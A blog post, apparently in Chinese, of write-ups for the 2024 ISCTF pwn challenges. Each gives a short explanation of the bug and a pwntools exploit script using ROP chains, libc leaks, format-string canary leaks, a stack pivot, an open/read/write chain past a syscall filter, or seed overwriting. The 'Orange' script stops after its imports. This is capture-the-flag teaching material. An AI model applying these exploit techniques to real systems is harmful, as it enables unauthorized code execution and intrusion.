2024ISCTF

2024_ISCTF_Pwn

小蓝鲨的stack

出题人:安阳工学院_笙南

解题过程:

⽐较少⻅的⼀个题型,不过并不难,

ida64查看代码发现只有⼀个read和printf打印我们输⼊的东西 这⾥是没办法通过rop链去泄露libc地址的。

程序原设定的返回地址是

image-20250320113610314

⽽我们需要利⽤的正是__libc_start_main⾥⾯的⼀段gadget 我们将libc⽂件拖⼊ida,分析__libc_start_main段上的汇编

image-20250320113634738

程序原返回地址是24083这⾥,我们发现在该地址上⾯还有⼀段call rax,⽽此时rax恰好被赋值为了main函数起始地址,也就是说 我们将返回地址修改为mov rax这⾥就可以再次返回到main函数,并且由于printf函数会打印我们输⼊的东西,我们还可以把返回地 址给打印出来,这样我们就拿到了libc地址,以及第⼆次利⽤read函数,接下来就是直接打rop链获得权限。

image-20250320113757543

调试之后发现确实会回到main函数

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
from struct import pack
import ctypes
context(log_level = 'debug',arch = 'amd64')
#p=process('./ezstack')
p=remote('27.25.151.12',28909)
elf=ELF('./ezstack')
#libc=ELF('/root/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')
libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
def pr(a):
print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#bug()
s(b'a'*0x28+b'\x7c')
libc_base=get_addr64()-147580
li(hex(libc_base))
system,bin=get_sb()
rdi=libc_base+0x0000000000023b6a
pay=b'a'*0x28+p64(rdi)+p64(bin)+p64(rdi+1)+p64(system)
s(pay)
inter()

Orange

出题⼈:SunD1y

解题过程:

菜单题,edit可以溢出,⽆free,使⽤houseoforange 构造largebinattack攻击,接着使⽤edit溢出泄漏heap和libc地址触发 largebin attack,布置好fakeIOFILE之后调⽤exit触发getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
import numpy as np
from pwncli import *
local_file = './pwn'
elf = ELF(local_file)
libc=ELF('libc.so.6')
context.log_level = 'debug'
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h''

netcat

出题⼈:b55t4ck

解题过程:

通过nc⼯具连接即可获得flag,linux系统⼀般⾃带nc,Windows可能需要安装nc.exe

girlfriend

出题⼈:b55t4ck

解题过程:

从IDA里面分析就是,s1越界读取,覆盖为admin,然后进入vuln中,观察到存在数组溢出,通过数组溢出就可以修改溢出长度至ret_addr的位置,随后就可以跳转到后门函数

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
p=remote("27.25.151.12",25632)
#p=process("./pwn")
elf=ELF("./pwn")
p.sendafter(b'first i need your team id',b'a'*0x28+b'admin')
#gdb.attach(p)

p.sendlineafter(b'please input your 1 girlfriend birthday',b'1')
p.sendlineafter(b'please input your 2 girlfriend birthday',b'1')
p.sendlineafter(b'please input your 3 girlfriend birthday',b'1')
p.sendlineafter(b'please input your 4 girlfriend birthday',b'1')
p.sendlineafter(b'please input your 5 girlfriend birthday',b'6')
p.sendlineafter(b'please input your 6 girlfriend birthday',b'6')

p.sendlineafter(b'please input your 8 girlfriend birthday',b'4198942')
p.interactive()

ret2orw

出题⼈:b55t4ck

解题思路:

给了后门函数,但是跳转后会出现bad syscall的报错,在init函数中可以看到禁用了system调用。既然可以栈溢出,那么我们就可以利⽤gadget去调⽤libc⾥⾯存在的open,read,write。从⽽读取flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() :
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

#------------------------------------------------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-------------------------------------------------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p=remote("gz.imxbt.cn",20370)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = 0x00000000004012CE
ret = 0x4010CF

#debug('b *0x4012a0')
#gdb.attach(p)
sa(b'this?\n', b'a'*0x28 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) +
p64(elf.sym['main']))
pause()

libc_base = uu64() - libc.sym['puts']
print(hex(libc_base))
pause()

system, binsh = get_sb()
rax = libc_base + 0x45eb0
syscall = libc_base + next(libc.search(asm('syscall; ret;')))
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f2e7
mprotect = libc_base + libc.sym['mprotect']
open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
buf = 0x4040D0
flag = 0x4040a0
payload = b'a'*0x28
# read flag -> buf
payload += p64(rdi) + p64(0) + p64(rsi) + p64(flag) + p64(rdx_r12) + p64(8)*2 + p64(read)
# open flag
payload += p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx_r12) + p64(0)*2 + p64(open_)
# read flag
payload += p64(rdi) + p64(3) + p64(rsi) + p64(buf) + p64(rdx_r12) + p64(0x30)*2 + p64(read)
# write flag
payload += p64(rdi) + p64(1) + p64(write)
sa(b'this?\n', payload)
sleep(1)
s(b'/flag')

#pause()
inter()

0verf10w

出题⼈:b55t4ck

⼀道⽐较综合的题⽬,考察栈迁移,格式化字符串,还有防御机制绕过的漏洞,⾸先可以通过格式化字符串泄露canary,和libc。 再通过vuln函数溢出的⼀个字节实现栈迁移,从⽽劫持程序执⾏流,然后再通过one_gadget即可获取shell。需要注意的是,本地环 境需保持与远程⼀致,不然可能出现本地打得通远程打不通的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
p=remote("27.25.151.12",39834)
#p=process("./stack")
elf=ELF("./stack")
libc=ELF("/home/giant/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6")
#gdb.attach(p)
p.sendlineafter(b'?\n',b'a'*0x1)
p.sendafter(b'!\n',b'\x00'*8+b'%3$p%9$p%15$p')
libc_base=int(p.recv(14),16)-libc.sym["read"]-18
print(hex(libc_base))
canary=int(p.recv(18),16)
stack_addr=int(p.recv(14),16)-0x158
print(hex(stack_addr))
ogg=libc_base+0xebd43
kx=libc_base+0x21c100
a = int((hex(stack_addr)[-2:]),16)
p.sendafter(b'?\n',p64(canary)+p64(kx)+p64(ogg)+p64(canary)+p8(a-8))
p.interactive()

ez_game

出题⼈:Qjzhalx

解题过程

利用gets覆盖掉seeds

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from ctypes import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
q = process("./pwn")
libc = cdll.LoadLibrary("./libc.so.6")
payload = b"a" * 400 + p64(0)
q.sendline(payload)
libc.srand(0)
for i in range(20001):
num = str(libc.rand()%7+1)
q.sendline(num)
q.recvuntil("It's your reward, take advantage of it.")
q.interactive()

2024ISCTF
http://example.com/2024_ISCTF_Pwn/
作者
briteny-pwn
发布于
2025年3月17日
许可协议